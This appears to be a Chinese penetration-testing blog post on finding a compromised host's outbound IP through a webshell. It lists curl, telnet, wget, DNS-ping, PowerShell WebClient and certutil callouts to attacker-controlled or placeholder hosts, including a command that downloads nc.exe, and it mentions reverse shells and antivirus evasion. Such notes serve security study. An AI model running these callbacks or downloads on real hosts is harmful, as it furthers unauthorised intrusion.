@Author: Patrilic
@Time: 2019-8-20 20:14:23

0x00 前言

晚上吃了饭回酒店,一觉睡醒,发现有个师傅问我windows机器只有webshell怎么找内网的出口ip,想了想确实没总结过这个东西(主要是平时都是直接反弹个shell了..)

仔细想想,其实挺好玩的,然后就和几个师傅讨论了下,感觉大概就下面这几种方式,如果有不足请师傅补充~

0x01 Linux

Linux 由于基本自带 curlwget,telnet命令,所以还是比较简单的

Curl

1
curl cip.cc

e6ee0f98f7abc8edc984f243e1c42370

telnet

1
telnet cip.cc

1ba6f6948d7f30c013c7a0e680e26d18

wget

利用nc监听端口,然后linux端使用wget命令即可

1
wget xxx.xxx.xxx.xxx:90

34f53887bd6dfad3b33469c64b746c45

ping(linux windows通用)

结合ceye

直接执行ping命令,走DNS Query

1
ping metzl4.ceye.io

f3cc55ed09188d082f807b70cbbb4b37

0x02 Windows

WebClient

Wget一个原理,我们平时经常会使用下面的语句进行文件传输

1
(New-Object System.Net.WebClient).DownloadFile("http://xxx.xxx.xxx.xxx/nc.exe","nc.exe")

同样,只要是走http通道,那就肯定可以和我们的vps进行连接,就可以拿到出网ip了

2c06dc63c41d0c1d698e9d1fb698bf22

3be76eb775caa75eea974875b0fe5c59

WebRequest

Powershell version > 3.0 就可以使用Windows上的wget了2333

查看Powershell版本:

1
2
Get-Host
$PSVersionTable.PSVersion

官方文档:
https://docs.microsoft.com/zh-cn/powershell/module/Microsoft.PowerShell.Utility/Invoke-WebRequest?view=powershell-5.1
c36f05c4f3fda64d50bdd311c14bf9c4

Usage:
a1dcebf74d84473ab952f25e9266cfb4

de63fcec3f88e9e2d2b2622791d1c748

certutil

certutil这个东西被AV监控得太死了..
fdedf94858c856e6560d27dfcb634d6e
cdbdb7eb2e69f14fa211e114b88dd701

实战用的话也需要一定的绕过技巧

start

start命令直接会开启一个ie进程去访问目标url
a7015efe5a0ceeddc7a78797d42d364a

65be4f74982d1bcdf0b6e0545a21bf96

当然,需要注意用户,别给别人远程桌面开个ie啥的

还有其他的姿势,反正我我觉得只要是可以用各种西诶咦访问外面的,都可以拿到真实的出口ip,大哥们也可以研究下

0x03 反弹shell

既然有Webshell了,最常见的方式也就是反弹个shell啥的,这里就不多讲了,os shell,meterpreter啥的都ok

0x04 总结

这个问题也是突发奇想,好像具体的意义也不是很大,主要是在想如何规避AV和不通过第三方应用和写文件的情况下进行一个ip获取~师傅们见谅